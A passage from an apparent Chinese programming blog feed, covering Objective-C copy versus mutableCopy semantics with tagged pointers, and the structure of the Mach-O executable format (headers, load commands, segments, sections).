class="keyword">nonatomic</span>, <span class="keyword">copy</span>) <span class="built_in">NSArray</span> *array;</div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">copy</span>) <span class="built_in">NSArray</span> *arrayCopy;</div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">copy</span>) <span class="built_in">NSArray</span> *arrayMutableCopy;</div><div class="line"></div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">strong</span>) <span class="built_in">NSMutableArray</span> *mArrayCopy;</div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">strong</span>) <span class="built_in">NSMutableArray</span> *mArrayMutableCopy;</div><div class="line"></div><div class="line"><span class="keyword">@end</span></div></pre></td></tr></tbody></table>

<h2 id="非集合类对象-NSString"><a href="#非集合类对象-NSString" class="headerlink" title="非集合类对象(NSString)"></a>非集合类对象(NSString)</h2><h3 id="执行代码："><a href="#执行代码：" class="headerlink" title="执行代码："></a>执行代码：</h3><table><tbody><tr><td class="code"><pre><div class="line">FirstClass *fC = [[FirstClass alloc] init];</div><div class="line">        </div><div class="line">fC.string = <span class="string">@"originString"</span>;</div><div class="line">fC.stringCopy = fC.string;  <span class="comment">//浅，指针 (不可变String）</span></div><div class="line">fC.stringMutableCopy = [fC.string mutableCopy];  <span class="comment">//深，新地址 (可变String)</span></div><div class="line">        </div><div class="line">fC.mStringCopy = [fC.string <span class="keyword">copy</span>];  <span class="comment">//浅，指针 (不可变String）</span></div><div class="line">fC.mStringMutableCopy = [fC.string mutableCopy];  <span class="comment">//深，新地址 (可变String)</span></div><div class="line">        </div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"\n非集合类对象(NSString)：\noriginal address:    "</span>); AmyLog(fC.string);</div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"copy -&gt; NSString:    "</span>); AmyLog(fC.stringCopy);</div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"mutableCopy -&gt; NSString:    "</span>); AmyLog(fC.stringMutableCopy);</div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"copy -&gt; NSMutableString:   "</span>); AmyLog(fC.mStringCopy);</div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"mutableCopy -&gt; NSMutableString:    "</span>); AmyLog(fC.mStringMutableCopy);</div></pre></td></tr></tbody></table>

<h3 id="打印结果："><a href="#打印结果：" class="headerlink" title="打印结果："></a>打印结果：</h3><p><img src="/images/2016-10-20-%E8%AF%AD%E6%B3%95-copy-%E4%B8%8E-mutableCopy%EF%BC%88%E4%BC%A0%E8%AF%B4%E4%B8%AD%E7%9A%84%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D%EF%BC%89/NSString.png"></p>
<h3 id="NSCFConstantString-和-NSCFString"><a href="#NSCFConstantString-和-NSCFString" class="headerlink" title="__NSCFConstantString 和 __NSCFString"></a>__NSCFConstantString 和 __NSCFString</h3><p><strong>__NSCFConstantString</strong></p>
<blockquote>
<p>__NSCFConstantString 对象，就是<strong>字符串常量对象，存储在栈上</strong>，创建之后由系统来管理内存释放.相同内容的 NSCFConstantString 对象地址相同。该对象引用计数很大，为固定值不会变化，表示无限运行的 retainCount ，对其进行 retain 或 release 也不会影响其引用计数。</p>
<p>当创建一个 NSCFConstantString 对象时，会检测这个字符串内容是否已经存在，如果存在，则直接将地址赋值给变量；不存在的话，则创建新地址，再赋值。</p>
<p>总的来说，<strong>对于 NSCFConstantString 对象，只要字符串内容不变，就不会分配新的内存地址</strong>，无论你是赋值、 retain、 copy 。这种优化在大量使用 NSString 的情况下可以节省内存，提高性能。</p>
<p>——摘自简书作者路子：<a href="http://www.jianshu.com/p/0e98f37114e3">NSString：内存简述，Copy与Strong关键字</a></p>
</blockquote>
<p>对于 NSString 来说，以下几种赋值方法将会保存为 NSCFConstantString 对象：</p>
<ol>
<li>直接赋值，如 <code>NSString *str = @&quot;STR&quot;;</code></li>
<li>stringWithString ,如 <code>NSString *str = [NSString stringWithString:@&quot;Str&quot;];</code></li>
<li><code>str1 = str2;</code></li>
<li><code>str1 = [str2 copy/retain];</code></li>
</ol>
<p><strong>__NSCFString</strong></p>
<p>__NSCFString 对象是 <strong>NSString 的一种子类，存储在堆上</strong>，不属于字符串常量对象。该对象创建之后和其他的 Obj 对象一样引用计数为1，对其执行 retain 和 release 将改变其 retainCount 。</p>
<p>诸如 <code>[NSString stringWithFormat:]</code> 方法以及 <code>NSMutableString</code> 创建的字符串等，都是构造的这种对象。</p>
<h3 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h3><p><code>mutableCopy</code> 意味着你告诉编译器，我拷贝过来的这个对象可能会改变，因此编译器肯定会新开辟一个地址给你。 因此采用这种方式的都是深拷贝（包括单层深拷贝和完全拷贝）。<br>通过结果我们也可以看见，正如我们前面所提到的，copy 返回不可变对象，因此对于原始对象是不可变的 NSSring 类型，完全没有必要再新分配一块内存。<strong>因此对于不可变的非集合对象，采用 mutableCopy 方式的拷贝就是深拷贝，copy 是浅拷贝。</strong></p>
<h2 id="非集合类对象-NSMutableString"><a href="#非集合类对象-NSMutableString" class="headerlink" title="非集合类对象(NSMutableString)"></a>非集合类对象(NSMutableString)</h2><h3 id="执行代码：-1"><a href="#执行代码：-1" class="headerlink" title="执行代码："></a>执行代码：</h3><table><tbody><tr><td class="code"><pre><div class="line">fC.mString = [<span class="built_in">NSMutableString</span> stringWithString:<span class="string">@"mStringingi"</span>];</div><div class="line">fC.stringCopy = fC.mString;  <span class="comment">//深，新地址（可变String）</span></div><div class="line">fC.stringMutableCopy = [fC.mString mutableCopy]; <span class="comment">////深，新地址 (可变String)</span></div><div class="line">        </div><div class="line">fC.mStringCopy = [fC.mString <span class="keyword">copy</span>];  <span class="comment">//深，新地址，可变String）</span></div><div class="line">fC.mStringMutableCopy = [fC.mString mutableCopy]; <span class="comment">//深，新地址，(可变String)</span></div><div class="line">        </div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"\n非集合类对象(NSMutableString)：\noriginal address:    "</span>); AmyLog(fC.mString);</div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"copy -&gt; NSString:    "</span>); AmyLog(fC.stringCopy);</div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"mutableCopy -&gt; NSString:    "</span>); AmyLog(fC.stringMutableCopy);</div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"copy -&gt; NSMutableString:   "</span>); AmyLog(fC.mStringCopy);</div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"mutableCopy -&gt; NSMutableString:    "</span>); AmyLog(fC.mStringMutableCopy);</div></pre></td></tr></tbody></table>

<h3 id="打印结果：-1"><a href="#打印结果：-1" class="headerlink" title="打印结果："></a>打印结果：</h3><p><img src="/images/2016-10-20-%E8%AF%AD%E6%B3%95-copy-%E4%B8%8E-mutableCopy%EF%BC%88%E4%BC%A0%E8%AF%B4%E4%B8%AD%E7%9A%84%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D%EF%BC%89/NSMutableString.png"></p>
<h3 id="分析-1"><a href="#分析-1" class="headerlink" title="分析"></a>分析</h3><p>我们已经知道只要用 <code>mutableCopy</code> ，对于非集合对象的拷贝，无论可变不可变，都是深拷贝。 <code>copy</code> 对于不可变对象的拷贝是浅拷贝。那么对于 <code>copy</code> 可变对象呢？如上图的结果所示，是深拷贝。</p>
<p>也很容易理解，我这个对象是可变的，我随时可能通过其他引用它的指针来改变这个对象，现在你要拷贝一份不可变的内容，编译器当然不能直接把它的指针给你啦，这样岂不就是可变的了？所以要新分配给你一块内存，用来储存你拷贝的不可变内容。</p>
<p>就是说，<strong>对于可变非集合对象的拷贝，copy 和 mutableCopy 都是做的深拷贝。</strong></p>
<h3 id="NSTaggedPointerString"><a href="#NSTaggedPointerString" class="headerlink" title="__NSTaggedPointerString"></a>__NSTaggedPointerString</h3><p>Tagged Pointer 是一个能够提升性能、节省内存的有趣的技术。我们知道，程序都使用了指针地址对齐概念。指针地址对齐就是指在分配堆中的内存时往往采用偶数倍或以2为指数倍的内存地址作为地址边界。几乎所有系统架构，包括 Mac OS 和 iOS，都使用了地址对齐概念对象。对于 iOS 和 MAC 来说，指针地址是以16个字节（或16的倍数）为对齐边界的，进一步说，分配的内存地址最后4位永远都是0。</p>
<p>Tagged Pointer 利用了这一现状，它使对象指针中非零位（最后4位）有了特殊的含义。在苹果的64位 Objective-C 实现中，<strong>若对象指针的最低有效位为1(即奇数)，则该指针为 Tagged Pointer 。这种指针不通过解引用 isa 来获取其所属类，</strong>而是通过接下来三位的一个类表的索引。该索引是用来查找所属类是采用 Tagged Pointer 的哪个类。剩下的60位则留给类来使用。</p>
<p>Tagged Pointer 有一个简单的应用，那就是 NSNumber 。它使用60位来存储数值。最低位置1。剩下3位为 NSNumber 的标志。这样，就可以存储任何所需内存小于60位的数值。</p>
<blockquote>
<p>注：以上是在 x86_64 架构中，<strong>在 iOS ARM64 架构中，是最高4位表示所属类，对于最低位，不同类有不同的意义，比如 NSString 代表的是字符长度 length</strong>，NSNumber 我猜测代表的是数字长度类型。</p>
</blockquote>
<p>从外部看，Tagged Pointer很像一个对象。它能够响应消息，因为 objc_msgSend 可以识别 Tagged Pointer 。假设你调用 integerValue ，它将从那60位中提取数值并返回。这样，每访问一个对象，就省下了一次真正对象的内存分配，省下了一次间接取值的时间。同时引用计数可以是空指令，因为没有内存需要释放。对于常用的类，这将是一个巨大的性能提升。</p>
<p>NSString 也是如此。对于那些所需内存小于60位的字符串，它可以创建一个 Tagged Pointer。所需内存大于60位的则放置在真正的 NSString 对象里。这使得常用的短字符串的性能得到明显的提升。</p>
<p>关于 NSString 中的 Tagged Pointer 编码比较复杂，条件是<strong>长度小于11位，且由 Apple 的代码生成在运行时</strong>，即不是直接定义，而是如上图中 mutableCopy/copy 转换而来，编码详情请见<a href="http://www.cocoachina.com/ios/20150918/13449.html">【译】采用Tagged Pointer的字符串</a></p>
<blockquote>
<p>在 WWDC2013 中 APPLE 对于它的特点是这样总结的：</p>
<ol>
<li>Tagged Pointer 专门用来存储小的对象，例如 NSNumber 和NSDate</li>
<li><strong>Tagged Pointer 指针的值不再是地址了，而是真正的值。所以，实际上它不再是一个对象了，它只是一个披着对象皮的普通变量而已。所以，它的内存并不存储在堆中，也不需要 malloc 和 free 。</strong>跟 __NSCFConstantString 一样拥有非常大的 retainCount ，因为压根儿就不在堆上啊。</li>
<li>在内存读取上有着3倍的效率，创建时比以前快106倍。</li>
</ol>
</blockquote>
<p>对 NSString 对象来说，当非字面量的数字，英文字母字符串的长度小于等于11的时候会自动成为 NSTaggedPointerString 类型（赋值为常量除外），如果有中文或其他特殊符号（可能是非 ASCII 字符）存在的话则会直接成为 __NSCFString 类型。</p>
<p><strong>Tagged Pointer 举例</strong><br>比如我们将上面的字符串改为<br><code>fC.mString = [NSMutableString stringWithString:@&quot;mStringingin&quot;];</code>，<br>比之前少了1位，只有11位，则输出结果就变为了：</p>
<p><img src="/images/2016-10-20-%E8%AF%AD%E6%B3%95-copy-%E4%B8%8E-mutableCopy%EF%BC%88%E4%BC%A0%E8%AF%B4%E4%B8%AD%E7%9A%84%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D%EF%BC%89/NSMutableString2.png"></p>
<p>除了拷贝的可变副本（最后一个），其他不可变副本都是 Tagged Pointer ，直接存储的值。</p>
<h2 id="集合类对象-NSArray"><a href="#集合类对象-NSArray" class="headerlink" title="集合类对象(NSArray)"></a>集合类对象(NSArray)</h2><h3 id="执行代码：-2"><a href="#执行代码：-2" class="headerlink" title="执行代码："></a>执行代码：</h3><table><tbody><tr><td class="code"><pre><div class="line">fC.array = [<span class="built_in">NSArray</span> arrayWithObjects:<span class="string">@"hello"</span>,<span class="string">@"world"</span>,<span class="string">@"baby"</span>, <span class="literal">nil</span>];</div><div class="line">fC.arrayCopy = fC.array;  <span class="comment">//浅，指针</span></div><div class="line">fC.arrayMutableCopy = [fC.array mutableCopy]; <span class="comment">//单层深，新地址</span></div><div class="line">        </div><div class="line">fC.mArrayCopy = [fC.array <span class="keyword">copy</span>]; <span class="comment">//浅，指针</span></div><div class="line">fC.mArrayMutableCopy = [fC.array mutableCopy]; <span class="comment">//单层深，新地址</span></div><div class="line">        </div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"\n集合类对象(NSArray)：\noriginal address:    "</span>); AmyLog(fC.array); AmyLog([fC.array objectAtIndex:<span class="number">1</span>]);</div><div class="line">        </div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"copy -&gt; NSArray:    "</span>); AmyLog(fC.arrayCopy); AmyLog([fC.arrayCopy objectAtIndex:<span class="number">1</span>]);</div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"mutableCopy -&gt; NSArray:    "</span>); AmyLog(fC.arrayMutableCopy); AmyLog([fC.arrayMutableCopy objectAtIndex:<span class="number">1</span>]);</div><div class="line"></div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"copy -&gt; NSMutableArray:   "</span>); AmyLog(fC.mArrayCopy); AmyLog([fC.mArrayCopy objectAtIndex:<span class="number">1</span>]);</div><div class="line"><span class="built_in">NSLog</span>(<span class="string">@"mutableCopy -&gt; NSMutableArray:    "</span>); AmyLog(fC.mArrayMutableCopy); AmyLog([fC.mArrayMutableCopy objectAtIndex:<span class="number">1</span>]);</div></pre></td></tr></tbody></table>

<h3 id="打印结果：-2"><a href="#打印结果：-2" class="headerlink" title="打印结果："></a>打印结果：</h3><p><img src="/images/2016-10-20-%E8%AF%AD%E6%B3%95-copy-%E4%B8%8E-mutableCopy%EF%BC%88%E4%BC%A0%E8%AF%B4%E4%B8%AD%E7%9A%84%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D%EF%BC%89/NSArray.png"></p>
<h3 id="分析-2"><a href="#分析-2" class="headerlink" title="分析"></a>分析</h3><p>从结果可以发现，对于第一层的指针来说，跟 NSString 是一样的，copy 浅拷贝（复制指针，即指针不变）， mutableCopy 深拷贝（新内存），但是打印数组中的元素，就发现元素的指针并没有变，也就是第二层依然是浅拷贝，因此这就是单层深拷贝了。</p>
<h3 id="集合的浅拷贝和完全拷贝"><a href="#集合的浅拷贝和完全拷贝" class="headerlink" title="集合的浅拷贝和完全拷贝"></a>集合的浅拷贝和完全拷贝</h3><p>集合的浅拷贝有非常多种方法（上面那种 copy 就是）。当你进行浅拷贝时，会向原始的集合发送retain消息，引用计数加1，同时指针被拷贝到新的集合。</p>
<p>现在让我们看一些浅拷贝的例子：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="built_in">NSArray</span> *shallowCopyArray = [someArray copyWithZone:<span class="literal">nil</span>];   </div><div class="line"><span class="built_in">NSSet</span> *shallowCopySet = [<span class="built_in">NSSet</span> mutableCopyWithZone:<span class="literal">nil</span>];   </div><div class="line"><span class="built_in">NSDictionary</span> *shallowCopyDict = [[<span class="built_in">NSDictionary</span> alloc] initWithDictionary:someDictionary copyItems:<span class="literal">NO</span>];</div></pre></td></tr></tbody></table>

<p>那么如何才能对元素也进行深拷贝呢？</p>
<p>集合的深拷贝有两种方法。可以用 initWithArray:copyItems: 将第二个参数设置为 YES 即可深拷贝，如</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="built_in">NSDictionary</span> shallowCopyDict = [[<span class="built_in">NSDictionary</span> alloc] initWithDictionary:someDictionary copyItems:<span class="literal">YES</span>];</div></pre></td></tr></tbody></table>

<p>如果你用这种方法深拷贝，集合里的每个对象都会收到 copyWithZone: 消息。如果集合里的对象遵循 NSCopying 协议，那么对象就会被深拷贝到新的集合。如果对象没有遵循 NSCopying 协议，而尝试用这种方法进行深拷贝，会在运行时出错。 copyWithZone: 这种拷贝方式只能够提供一层内存拷贝(one-level-deep copy)，而非真正的深拷贝。</p>
<p>第二个方法是将集合进行归档(archive)，然后解档(unarchive)，如：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="built_in">NSArray</span> *trueDeepCopyArray = [<span class="built_in">NSKeyedUnarchiver</span> unarchiveObjectWithData:[<span class="built_in">NSKeyedArchiver</span> archivedDataWithRootObject:oldArray]];</div></pre></td></tr></tbody></table>

<p>终于搞定这个了！</p>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] NSString：内存简述，Copy与Strong关键字　<a href="http://www.jianshu.com/p/0e98f37114e3">http://www.jianshu.com/p/0e98f37114e3</a><br>[2] iOS 集合的深复制与浅复制　<a href="https://www.zybuluo.com/MicroCai/note/50592">https://www.zybuluo.com/MicroCai/note/50592</a><br>[3] 深入理解Tagged Pointe　<a href="http://www.infoq.com/cn/articles/deep-understanding-of-tagged-pointer/">http://www.infoq.com/cn/articles/deep-understanding-of-tagged-pointer/</a><br>[4] 【译】采用Tagged Pointer的字符串　<a href="http://www.cocoachina.com/ios/20150918/13449.html">http://www.cocoachina.com/ios/20150918/13449.html</a></p>
]]></content>
      <categories>
        <category>编程语言语法</category>
      </categories>
  </entry>
  <entry>
    <title>解读 Mach-O 文件格式</title>
    <url>/eeb03f45.html</url>
    <content><![CDATA[<h2 id="框架图"><a href="#框架图" class="headerlink" title="框架图"></a>框架图</h2><p><img src="/images/2017-02-21-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-%E8%A7%A3%E8%AF%BB-Mach-O-%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F/mach-o.png"></p>
<a id="more"></a>

<p>Mach-O 是 Apple 系统上（包括 MacOS 以及 iOS）的可执行文件格式，类似于 windows 上的 PE 文件以及 linux 上的 ELF 文件。上图左边为官方图，右边为用 <a href="https://github.com/gdbinit/MachOView">MachOView</a> 软件打开的 Mach-O 文件图。可以非常清晰的看到，这种文件格式由文件头（Header）、加载命令（Load Commands）以及具体数据（Segment&amp;Section）组成。下面一一介绍。</p>
<h2 id="Header"><a href="#Header" class="headerlink" title="Header"></a>Header</h2><table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">/*</span></div><div class="line"> * The 32-bit mach header appears at the very beginning of the object file for</div><div class="line"> * 32-bit architectures.</div><div class="line"> */</div><div class="line"><span class="keyword">struct</span> mach_header {</div><div class="line">    uint32_t    magic;        <span class="comment">/* mach magic number identifier */</span></div><div class="line">    cpu_type_t    cputype;    <span class="comment">/* cpu specifier */</span></div><div class="line">    cpu_subtype_t    cpusubtype;    <span class="comment">/* machine specifier */</span></div><div class="line">    uint32_t    filetype;    <span class="comment">/* type of file */</span></div><div class="line">    uint32_t    ncmds;        <span class="comment">/* number of load commands */</span></div><div class="line">    uint32_t    sizeofcmds;    <span class="comment">/* the size of all the load commands */</span></div><div class="line">    uint32_t    flags;        <span class="comment">/* flags */</span></div><div class="line">};</div><div class="line"></div><div class="line"><span class="comment">/* Constant for the magic field of the mach_header (32-bit architectures) */</span></div><div class="line"><span class="meta">#define    MH_MAGIC    0xfeedface    /* the mach magic number */</span></div><div class="line"><span class="meta">#define MH_CIGAM    0xcefaedfe    /* NXSwapInt(MH_MAGIC) */</span></div><div class="line"></div><div class="line"><span class="comment">/*</span></div><div class="line"> * The 64-bit mach header appears at the very beginning of object files for</div><div class="line"> * 64-bit architectures.</div><div class="line"> */</div><div class="line"><span class="keyword">struct</span> mach_header_64 {</div><div class="line">    uint32_t    magic;        <span class="comment">/* mach magic number identifier */</span></div><div class="line">    cpu_type_t    cputype;    <span class="comment">/* cpu specifier */</span></div><div class="line">    cpu_subtype_t    cpusubtype;    <span class="comment">/* machine specifier */</span></div><div class="line">    uint32_t    filetype;    <span class="comment">/* type of file */</span></div><div class="line">    uint32_t    ncmds;        <span class="comment">/* number of load commands */</span></div><div class="line">    uint32_t    sizeofcmds;    <span class="comment">/* the size of all the load commands */</span></div><div class="line">    uint32_t    flags;        <span class="comment">/* flags */</span></div><div class="line">    uint32_t    reserved;    <span class="comment">/* reserved */</span></div><div class="line">};</div><div class="line"></div><div class="line"><span class="comment">/* Constant for the magic field of the mach_header_64 (64-bit architectures) */</span></div><div class="line"><span class="meta">#define MH_MAGIC_64 0xfeedfacf /* the 64-bit mach magic number */</span></div><div class="line"><span class="meta">#define MH_CIGAM_64 0xcffaedfe /* NXSwapInt(MH_MAGIC_64) */</span></div></pre></td></tr></tbody></table>

<p>以上是 Header 在代码中的定义，它在文件中的作用主要是：使系统能够快速定位其运行环境以及文件类型等等。</p>
<p>分析文件头的 otool 命令为： <code>otool \-h 可执行文件</code> ，或者可视化强一点的 <code>otool \-hv 可执行文件</code>。</p>
<p><img src="/images/2017-02-21-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-%E8%A7%A3%E8%AF%BB-Mach-O-%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F/mach-o-header.png"></p>
<p>Fat 格式的文件（既包含有32位的二进制文件，又包含有64位的二进制文件），会在两个架构的二进制文件之前（也就是最开始的部分）有一个 <code>Fat Header，其中 magic 为 0xCAFEBABE</code>，然后是包含有的架构的个数，以及每个架构在文件中的偏移和大小等。</p>
<p>filetype 以及 flags 只列举了几个比较常见的定义，还有其他的详见<code>EXTERNAL_HEADERS/mach-o/x86_64/loader.h</code>。</p>
<h2 id="Load-Commands"><a href="#Load-Commands" class="headerlink" title="Load Commands"></a>Load Commands</h2><p>Load Commands 是跟在 Header 后面的加载命令区，所有 commands 的大小总和即为 Header-&gt;sizeofcmds 字段，共有 Header-&gt;ncmds 条加载命令。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">struct</span> load_command {</div><div class="line">    uint32_t cmd;        <span class="comment">/* type of load command */</span></div><div class="line">    uint32_t cmdsize;    <span class="comment">/* total size of command in bytes */</span></div><div class="line">};</div></pre></td></tr></tbody></table>

<p>Command 以 LC 开头，不同的加载命令有不同的专有的结构体，cmd 和 cmdsize 是都有的，分别为命令类型（即命令名称），这条命令的长度。这些加载命令告诉系统应该如何处理后面的二进制数据，对系统内核加载器和动态链接器起指导作用。如果当前 LC_SEGMENT 包含 section，那么 section 的结构体紧跟在 LC_SEGMENT 的结构体之后，所占字节数由 SEGMENT 的 cmdsize 字段给出。</p>
<table>
<thead>
<tr>
<th align="center">Cmd</th>
<th align="center">作用</th>
</tr>
</thead>
<tbody><tr>
<td align="center">LC_SEGMENT/LC_SEGMENT_64</td>
<td align="center">将对应的段中的数据加载并映射到进程的内存空间去</td>
</tr>
<tr>
<td align="center">LC_SYMTAB</td>
<td align="center">符号表信息</td>
</tr>
<tr>
<td align="center">LC_DYSYMTAB</td>
<td align="center">动态符号表信息</td>
</tr>
<tr>
<td align="center">LC_LOAD_DYLINKER</td>
<td align="center">启动动态加载连接器/usr/lib/dyld程序</td>
</tr>
<tr>
<td align="center">LC_UUID</td>
<td align="center">唯一的 UUID，标示该二进制文件，128bit</td>
</tr>
<tr>
<td align="center">LC_VERSION_MIN_IPHONEOS/MACOSX</td>
<td align="center">要求的最低系统版本（Xcode中的Deployment Target）</td>
</tr>
<tr>
<td align="center">LC_MAIN</td>
<td align="center">设置程序主线程的入口地址和栈大小</td>
</tr>
<tr>
<td align="center">LC_ENCRYPTION_INFO</td>
<td align="center">加密信息</td>
</tr>
<tr>
<td align="center">LC_LOAD_DYLIB</td>
<td align="center">加载的动态库，包括动态库地址、名称、版本号等</td>
</tr>
<tr>
<td align="center">LC_FUNCTION_STARTS</td>
<td align="center">函数地址起始表</td>
</tr>
<tr>
<td align="center">LC_CODE_SIGNATURE</td>
<td align="center">代码签名信息</td>
</tr>
</tbody></table>
<p>使用命令 <code>otool \-l 可执行文件</code> 可以查看加载命令区，使用 <code>otool \-l 可执行文件 | grep cryptid</code> 可以查看是否加密。</p>
<h2 id="Segment"><a href="#Segment" class="headerlink" title="Segment"></a>Segment</h2><p>Mach-O 文件有多个段（Segment），每个段有不同的功能。然后每个段又分为很多小的 Section。 LC_SEGMENT 意味着这部分文件需要映射到进程的地址空间去。一般有以下段名：</p>
<p>__PAGEZERO:　空指针陷阱段，映射到虚拟内存空间的第一页，用于捕捉对 NULL 指针的引用。<br>__TEXT:　包含了执行代码以及其他只读数据。该段数据可以 VM_PROT_READ(读)、VM_PROT_EXECUTE(执行)，不能被修改。</p>
<p>__DATA:　程序数据，该段可写 VM_PROT_WRITE/READ/EXECUTE。<br>__LINKEDIT:　链接器使用的符号以及其他表。</p>
<p>段的结构体定义为：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">struct</span> segment_command { <span class="comment">/* for 32-bit architectures */</span></div><div class="line">    uint32_t    cmd;        <span class="comment">/* LC_SEGMENT */</span></div><div class="line">    uint32_t    cmdsize;    <span class="comment">/* includes sizeof section structs */</span></div><div class="line">    <span class="keyword">char</span>        segname[<span class="number">16</span>];    <span class="comment">/* segment name */</span></div><div class="line">    uint32_t    vmaddr;        <span class="comment">/* memory address of this segment 段的虚拟内存地址*/</span></div><div class="line">    uint32_t    vmsize;        <span class="comment">/* memory size of this segment  段的虚拟内存大小*/</span></div><div class="line">    uint32_t    fileoff;    <span class="comment">/* file offset of this segment  段在文件中的偏移量*/</span></div><div class="line">    uint32_t    filesize;    <span class="comment">/* amount to map from the file  段在文件中的大小*/</span></div><div class="line">    vm_prot_t    maxprot;    <span class="comment">/* maximum VM protection */</span></div><div class="line">    vm_prot_t    initprot;    <span class="comment">/* initial VM protection */</span></div><div class="line">    uint32_t    nsects;        <span class="comment">/* number of sections in segment */</span></div><div class="line">    uint32_t    flags;        <span class="comment">/* flags */</span></div><div class="line">};</div><div class="line"></div><div class="line"></div><div class="line"><span class="keyword">struct</span> segment_command_64 { <span class="comment">/* for 64-bit architectures */</span></div><div class="line">    uint32_t    cmd;        <span class="comment">/* LC_SEGMENT_64 */</span></div><div class="line">    uint32_t    cmdsize;    <span class="comment">/* includes sizeof section_64 structs */</span></div><div class="line">    <span class="keyword">char</span>        segname[<span class="number">16</span>];    <span class="comment">/* segment name */</span></div><div class="line">    uint64_t    vmaddr;        <span class="comment">/* memory address of this segment */</span></div><div class="line">    uint64_t    vmsize;        <span class="comment">/* memory size of this segment */</span></div><div class="line">    uint64_t    fileoff;    <span class="comment">/* file offset of this segment */</span></div><div class="line">    uint64_t    filesize;    <span class="comment">/* amount to map from the file */</span></div><div class="line">    vm_prot_t    maxprot;    <span class="comment">/* maximum VM protection */</span></div><div class="line">    vm_prot_t    initprot;    <span class="comment">/* initial VM protection */</span></div><div class="line">    uint32_t    nsects;        <span class="comment">/* number of sections in segment */</span></div><div class="line">    uint32_t    flags;        <span class="comment">/* flags */</span></div><div class="line">};</div></pre></td></tr></tbody></table>

<p>其中 nsects 字段就是表明该段中有多少个 section。文件映射的起始位置是由 fileoff 给出，映射到地址空间的 vmaddr 处。</p>
<h2 id="Section"><a href="#Section" class="headerlink" title="Section"></a>Section</h2><p>Section 是具体有用的数据存放的地方。它的结构体跟随在 LC_SEGMENT 结构体之后，LC_SEGMENT 又在 Load Commands 中，但是 segment 的数据内容是跟在 Load Commands 之后的。它的结构体为：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">struct</span> section { <span class="comment">/* for 32-bit architectures */</span></div><div class="line">    <span class="keyword">char</span>        sectname[<span class="number">16</span>];    <span class="comment">/* name of this section */</span></div><div class="line">    <span class="keyword">char</span>        segname[<span class="number">16</span>];    <span class="comment">/* segment this section goes in */</span></div><div class="line">    uint32_t    addr;        <span class="comment">/* memory address of this section 该节在内存中的起始位置*/</span></div><div class="line">    uint32_t    size;        <span class="comment">/* size in bytes of this section 该节的大小*/</span></div><div class="line">    uint32_t    offset;        <span class="comment">/* file offset of this section 该节的文件偏移*/</span></div><div class="line">    uint32_t    align;        <span class="comment">/* section alignment (power of 2) 字节大小对齐*/</span></div><div class="line">    uint32_t    reloff;        <span class="comment">/* file offset of relocation entries 重定位入口的文件偏移*/</span></div><div class="line">    uint32_t    nreloc;        <span class="comment">/* number of relocation entries 需要重定位的入口数量*/</span></div><div class="line">    uint32_t    flags;        <span class="comment">/* flags (section type and attributes) */</span></div><div class="line">    uint32_t    reserved1;    <span class="comment">/* reserved (for offset or index) */</span></div><div class="line">    uint32_t    reserved2;    <span class="comment">/* reserved (for count or sizeof) */</span></div><div class="line">};</div><div class="line"></div><div class="line"><span class="keyword">struct</span> section_64 { <span class="comment">/* for 64-bit architectures */</span></div><div class="line">    <span class="keyword">char</span>        sectname[<span class="number">16</span>];    <span class="comment">/* name of this section */</span></div><div class="line">    <span class="keyword">char</span>        segname[<span class="number">16</span>];    <span class="comment">/* segment this section goes in */</span></div><div class="line">    uint64_t    addr;        <span class="comment">/* memory address of this section */</span></div><div class="line">    uint64_t    size;        <span class="comment">/* size in bytes of this section */</span></div><div class="line">    uint32_t    offset;        <span class="comment">/* file offset of this section */</span></div><div class="line">    uint32_t    align;        <span class="comment">/* section alignment (power of 2) */</span></div><div class="line">    uint32_t    reloff;        <span class="comment">/* file offset of relocation entries */</span></div><div class="line">    uint32_t    nreloc;        <span class="comment">/* number of relocation entries */</span></div><div class="line">    uint32_t    flags;        <span class="comment">/* flags (section type and attributes)*/</span></div><div class="line">    uint32_t    reserved1;    <span class="comment">/* reserved (for offset or index) */</span></div><div class="line">    uint32_t    reserved2;    <span class="comment">/* reserved (for count or sizeof) */</span></div><div class="line">    uint32_t    reserved3;    <span class="comment">/* reserved */</span></div><div class="line">};</div></pre></td></tr></tbody></table>

